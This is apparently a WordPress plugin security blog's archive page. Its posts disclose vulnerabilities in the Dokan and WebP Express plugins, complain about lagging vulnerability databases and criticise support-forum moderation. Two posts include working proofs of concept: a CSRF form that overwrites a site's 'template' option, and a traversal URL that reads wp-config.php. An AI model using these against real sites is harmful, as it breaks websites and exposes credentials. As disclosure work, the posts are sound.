Login

Plugin Vulnerabilities

A service to protect your site against vulnerabilities in WordPress plugins.

Login
12 Dec

WordPress Team Stops Warning To Developer of Vulnerability in Plugin While Probing For Usage of the Plugin Has Already Begun

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up and only trying to notify the developer through the WordPress Support Forum. That creates more of a problem if the vulnerabilities are likely to be exploited, like the arbitrary file viewing vulnerability we disclosed yesterday in the plugin WebP Express is. Thankfully with that type of vulnerability it usually doesn’t lead to websites being hacked. You would think that someone on the WordPress side of things might step in to make sure the moderators behavior is cleaned up so that these full disclosures can end, or barring that, make sure to keep on top of these disclosures to avoid those causing major issues. That doesn’t appear to be the case.

While our message to the developer on the Support Forum to let them know of the issue right after we disclosed it was blocked from being shown to them, that not at all surprisingly, unless you are the WordPress team, hasn’t stopped hackers from becoming aware of it already. Earlier today we had a couple of requests that look to be probing for usage of the plugin by way of a request for a CSS file from it, /wp-content/plugins/webp-express/lib/options/css/webp-express-options-page.css. Those came from IP addresses in China that appear to belong to Alibaba.

In the past with a vulnerability where it looks like it was being exploited we warned people that are not even customers through the free data that comes with the companion plugin for the service, but WordPress closed that on the Plugin Directory, so they are stopping people from getting a free and easy option to warn them about the most vulnerable plugins. So unfortunately if you want to be keeping abreast if plugins you are using have serious vulnerabilities, at this time our service is the only real option, as other data sources and other security companies are way behind in warning about vulnerable plugins (WordPress refuses to provide any warning).

If you want to get ahead of security issues in WordPress plugins you use then our Plugin Security Checker is good place to start since it can alert you if plugins you use contain similar code that could contain the same vulnerability (and if those plugins possibly contain a lot of other serious vulnerabilities). The tool is continually being updated, so these days checking your plugins frequently could lead to warning about an issue it didn’t before (the check that identified the possibility of this vulnerability was only added on Monday afternoon). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over the possible issue or you can order the same type of review separately.

12 Dec

Our Proactive Monitor Caught Another Authenticated Option Update Vulnerability in a WordPress Plugin That Could Disable Websites

On Monday while disclosing another option update vulnerability we noted that in the wake of one of those being widely exploited recently we had focused on finding more of those vulnerabilities, while it appears no one else in the WordPress security has done that (maybe because they can get away with lying about failing to protect against the widely exploited one). And no sooner than the next day did we find yet another vulnerability. We spotted it during our proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins, though the vulnerable code was not flagged by the software that we use to identify possible issues for us to review, instead that had flagged another possible instance of that same type of vulnerability in the same code and when we went to manually review the code we found the issue.

While the vulnerability doesn’t appear to allow for takeover of a website, it would allow for anyone logged in to WordPress to disable the website with a single request. Since the plugin in question, Dokan, is only usable with the WooCommerce eCommerce plugin, which is often set to create WordPress accounts for those making orders, that means that many or most of the 10,000+ active installations of the plugins (according to wordpress.org) would be impacted. It could also be exploited by getting someone logged in to WordPress to access a page controlled by an attacker.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers the function dismiss_upgrade_promo() to be accessible by anyone logged in to WordPress through its AJAX functionality:

35

add_action( 'wp_ajax_dokan-dismiss-upgrade-promotional-notice', array( $this, 'dismiss_upgrade_promo' ) );

That function, which is located in the file /lib/promotions.php, will update a WordPress option (setting) specified by the POST input “promo_key” to a value modified by the POST input “key”:

181
182
183
184
185
186
187
188
189
190
191
192
193
194
195

public function dismiss_upgrade_promo() {
	if ( isset( $_POST['dokan_upgrade_promotion_dismissed'] ) && $_POST['dokan_upgrade_promotion_dismissed'] ) {
		$promo_option_key        = $_POST['promo_key'];
		$promo_last_display_time = $_POST['promo_key'] . '_displayed_time';
 
		$already_displayed_promo = get_option( $promo_option_key, array() );
 
		if ( ! isset( $already_displayed_promo[ $_POST['key'] ] ) ) {
			$already_displayed_promo[ $_POST['key'] ] = array(
				'display'        => 0,
				'last_displayed' => current_time( 'mysql' )
			);
		}
 
		update_option( $promo_option_key, $already_displayed_promo );

As we found when looking into another similar vulnerability, by replacing the “template” option with content like could be set with this you can disable the frontend and admin area of the website.

Since there is no check for a valid nonce, this could also be exploited through cross-site request forgery (CSRF).

Proof of Concept

The following proof of concept will break the website, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=dokan-dismiss-upgrade-promotional-notice" method="POST">
<input type="hidden" name="dokan_upgrade_promotion_dismissed" value="true" />
<input type="hidden" name="promo_key" value="template" />
<input type="hidden" name="key" value="test" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
11 Dec

A New Addition to Our Proactive Monitoring Caught an Arbitrary File Viewing Vulnerability in a WordPress Plugin in Less Than a Day

Earlier today we noted in detailing an arbitrary file viewing vulnerability that had been fixed in a WordPress plugin that in looking at the code from that we made improvement to our detection of that type of vulnerability in our proactive monitoring of changes being made to  plugins to try to catch serious vulnerabilities when they are introduced in to plugin and our Plugin Security Checker. It didn’t even take a day before that improvement allowed us to spot an arbitrary file viewing vulnerability in the plugin WebP Express through that proactive monitoring. That type of vulnerability is likely to be exploited, though usually doesn’t cause website to be hacked.

This vulnerability is yet another good reason to check plugins you use through our Plugin Security Checker since it can alert you if plugins you use possibly contain a similar issue (and possibly contain a lot of other serious vulnerabilities). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The first code in the file /test/test-run.php will output the contents of a file specified by the GET input “stream-webp-image”:

3
4
5

if (isset($_GET['stream-webp-image'])) {
    header('Content-type: image/webp');
    if (@readfile($_GET['stream-webp-image']) === false) {

Using directory traversal any file on the website can be viewed.

Proof of concept

The following proof of concept will generate a file with the contents of the WordPress configuration file.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/webp-express/test/test-run.php?stream-webp-image=../../../../wp-config.php
11 Dec

Vulnerability Details: Arbitrary File Viewing in Woocommerce Pay.nl Payment Methods

Our Vulnerability Details posts provides the details of a vulnerability we didn't discover and access to it is limited to customers of our service, unlike the posts on vulnerabilities we have discovered and are freely available.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can access this post for free when signing up today. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

11 Dec

Vulnerability Details: Arbitrary File Deletion in Woocommerce Pay.nl Payment Methods

Our Vulnerability Details posts provides the details of a vulnerability we didn't discover and access to it is limited to customers of our service, unlike the posts on vulnerabilities we have discovered and are freely available.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can access this post for free when signing up today. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

11 Dec

Vulnerability Details: Restricted File Upload in Woocommerce Pay.nl Payment Methods

Our Vulnerability Details posts provides the details of a vulnerability we didn't discover and access to it is limited to customers of our service, unlike the posts on vulnerabilities we have discovered and are freely available.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can access this post for free when signing up today. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

10 Dec

Our Improved Proactive Monitoring Caught Another Authenticated Option Update Vulnerability in a WordPress Plugin

Our Vulnerability Details posts provides the details of a vulnerability we didn't discover and access to it is limited to customers of our service, unlike the posts on vulnerabilities we have discovered and are freely available.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can access this post for free when signing up today. There are a lot of other reason that you will want to sign up beyond access to posts like this one, including that you would have already been warned about this vulnerability if your website was vulnerable due to it.

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

10 Dec

WPScan Vulnerability Database Weeks Behind in Warning About Exploited Vulnerability in WordPress Plugin

On Friday we noted that during the month of November we not only added many more new vulnerabilities in WordPress plugins to our data set than the widely used WPScan Vulnerability Database (50 to 11), but we actually disclosed more vulnerabilities ourselves than they added in total during the month (21 to 11). Considering that all the vulnerabilities we discover are publicly disclosed and you can even access a RSS feed just of them, it doesn’t speak highly of the quality of their data set to be missing them.

The handling of one of the vulnerabilities we disclosed is of particular concern for anyone relying on their data, as it was an option update vulnerability we disclosed on November 12 that looks to have been on hackers’ radar by at least November 15. It was only added to WPScan’s data on the December 7th:

That kind of thing has wider repercussions as you have people that unknowingly rely on their data in deciding whether to update plugins and wouldn’t even know about the limits of their data since they are not being properly warned about by companies reusing the data (it gets as worse as one company not warning their customers about the quality of the data actually goes further by lying and claiming that the WPScan data is “confirmed/validated” when it explicitly isn’t).

Also noticeable in that listing is that they fail to credit us, which isn’t a one off issue.

We disclosed a remote code execution (RCE) vulnerability on November 30, which WPScan falsely claims was publicly published on December 3 and which they only got around to adding on December 6:

The last of our recently disclosed vulnerabilities they managed to add seems to be missing more important information than attribution to us, as they list a vulnerability in Ultimate Member as being a cross-site request forgery (CSRF) vulnerability:

CSRF, involves causing someone else to take an action they didn’t intend to, so what you can do with that is rather important. For example, disabling an advertising notice in a plugin wouldn’t really be something anyone would care about. In this case though it would have allowed remote code execution (RCE), which is a fairly serious issue.

07 Dec

WordPress Support Forum Moderator Thinks Hiding Security Issues is a Bad and Good at the Same Time

When it comes to the mess that is the moderation of the WordPress Support Forum a central problem is the moderators seem to be unwilling to allow people to discuss things that disagree with their beliefs. So for example last week we mentioned how at first replies were deleted and then a whole topic closed when people put forward the idea that people shouldn’t be left in the dark about closed plugins. The moderator that seems to be at the heart of that was the frequently problematic, Jan Dembowski, who doesn’t believe that even asking about closed plugins is a valid support question (which we still don’t understand).

That same moderator popped up in the email alerts we have for the forum to monitor for discussions about security issues a couple of times in the last week where they seemed to highlight that these moderators are not thinking through what they are saying and doing, which is a big problem when they stop discussions that could help to avoid the unnecessary hacks of WordPress websites due to the poorly thought out actions of the WordPress Plugin Directory team (like occurred recently with plugins WP GDPR compliance and AMP for WP).

Here was that moderator putting forward the reasonable notion that security through obscurity doesn’t work a week ago:

This is really a bad idea and always has been. Securing your site keeps you safe, hiding things like that does not accomplish anything.

As this are areas of security to protect ones site and make it less easy to finding vulnerabilities on ones site.

That’s not security and would leave your site exploitable. The boys that probe your site do not look first, they just try the exploits that’s in it’s catalog.

Based on that you think that they would understand that hiding that there are unfixed vulnerabilities in WordPress plugins that hackers are exploiting would be a bad idea seeing as the hackers are going to exploit them even if people using the plugin are not aware of it, but here they were the day before saying you should never warn people about unfixed vulnerabilities:

When a plugin is taken down there is no information on the reason why it was done. I believe it has to be mandatory.

That’s not a good idea unless it’s something that has been resolved already.

 

It does not serve anyone’s interests to inform users about the vulnerability before it is remediated.

Those two things don’t go together, yet somehow this person just a day apart stating both of them.

If exploited vulnerabilities in WordPress plugin were always promptly fixed that stance would be of limited concern, but some of them never are and you can’t even discuss doing something about that on the forum either.